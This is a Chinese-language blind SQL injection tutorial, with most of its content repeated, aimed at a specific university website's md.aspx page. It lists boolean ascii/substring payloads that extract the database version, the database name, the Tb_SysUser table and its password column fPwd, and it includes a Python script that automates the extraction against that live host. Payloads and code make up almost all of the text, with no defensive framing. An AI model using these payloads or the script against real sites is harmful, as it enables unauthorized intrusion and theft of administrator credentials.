盲注:
例子:
http://wenfa.nchu.edu.cn/md.aspx?t=0&c=c1
先说一些函数的说明:
substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度
ascii(char) 把字符转换为ascii值
【1】爆数据库版本:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
正常页面
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100/**/--&t=0
不正常页面
说明@@version的第一个字母的ascii 的范围是在0到100 之间
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77/**/--&t=0
正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M
第二个字母的注入为:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0/**/--&t=0
方法相同
来一个爆版本号的脚本:
【2】爆当前数据库名字
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
ascii大于140发现页面正常,则当前的数据库的名字为中文,则换成这样注入:wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))>200/**/--&t=0
最后发现:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))=25991/**/--&t=0
在http://www.bangnishouji.com/tools/chtounicode.html查询
文 转换成中文,就是“文”字
最后注入发现当前数据库的为:文法学院
【3】爆表
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
爆第二张表:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('Tb_SysUser')),1,1))>0/**/--&t=0
【4】爆Tb_SysUser 表的字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'),1,1))>0/**/--&t=0
爆第二个字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME/**/ from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'/**/and/**/COLUMN_NAME/**/not/**/in('fPwd')),1,1))>0/**/--&t=0
【5】爆数据
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/Tb_SysUser),1,1))>0/**/--&t=0
例子:
http://wenfa.nchu.edu.cn/md.aspx?t=0&c=c1
先说一些函数的说明:
substring(str,start,len) 截取字符串的作用,第一个参数为要截取的字符串,第二个参数为从哪里开始截取,第三个参数为截取的长度
ascii(char) 把字符转换为ascii值
【1】爆数据库版本:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
正常页面
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))>100/**/--&t=0
不正常页面
说明@@version的第一个字母的ascii 的范围是在0到100 之间
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=77/**/--&t=0
正常页面,说明@@version的第一个字母的ascii 的值是77,查表可知为M
第二个字母的注入为:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(@@version,2,1))>0/**/--&t=0
方法相同
来一个爆版本号的脚本:
- # -*- coding: gbk -*-
- import urllib2
- import urllib
- sqlcomm="@@version"
- data = {
- "t":"0",
- "c":"c1'/**/and/**/ascii(substring(@@version,1,1))=77 --"
- }
- def getlength():
- for counti in range(1000):
- data["c"]="c1'/**/and/**/len(%s)=%s/**/--" % (sqlcomm,str(counti))
- urldata=urllib.urlencode(data)
- url="http://wenfa.nchu.edu.cn/md.aspx?"+urldata
- headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
- req = urllib2.Request(url,headers=headers)
- resul=urllib2.urlopen(req).read()
- if len(resul)>34000:
- return counti
- return False
- def sendhttp(countn,sign,num):
- data["c"]="c1'/**/and/**/ascii(substring(%s,%s,1))%s%s/**/--" % (sqlcomm,str(countn),sign,str(middle))
- urldata=urllib.urlencode(data)
- url="http://wenfa.nchu.edu.cn/md.aspx?"+urldata
- headers={"User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1"}
- req = urllib2.Request(url,headers=headers)
- resul=urllib2.urlopen(req).read()
- if len(resul)>34000:
- return True
- return False
- coutnum= getlength()
- for j in range(1,coutnum+1):
- min,max=0,140
- while min<=max:
- middle=(max+min)//2
- if sendhttp(j,"=",middle):
- print chr(middle),
- break
- if sendhttp(j,">",middle):
- min=middle+1
- else:
- max=middle-1
【2】爆当前数据库名字
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0
ascii大于140发现页面正常,则当前的数据库的名字为中文,则换成这样注入:wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))>200/**/--&t=0
最后发现:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/unicode(substring(db_name(),1,1))=25991/**/--&t=0
在http://www.bangnishouji.com/tools/chtounicode.html查询
文 转换成中文,就是“文”字
最后注入发现当前数据库的为:文法学院
【3】爆表
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0
爆第二张表:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/name/**/from/**/文法学院.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0 and name not in('Tb_SysUser')),1,1))>0/**/--&t=0
【4】爆Tb_SysUser 表的字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'),1,1))>0/**/--&t=0
爆第二个字段:
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME/**/ from/**/文法学院.information_schema.columns/**/where/**/TABLE_NAME='Tb_SysUser'/**/and/**/COLUMN_NAME/**/not/**/in('fPwd')),1,1))>0/**/--&t=0
【5】爆数据
wenfa.nchu.edu.cn/md.aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/Tb_SysUser),1,1))>0/**/--&t=0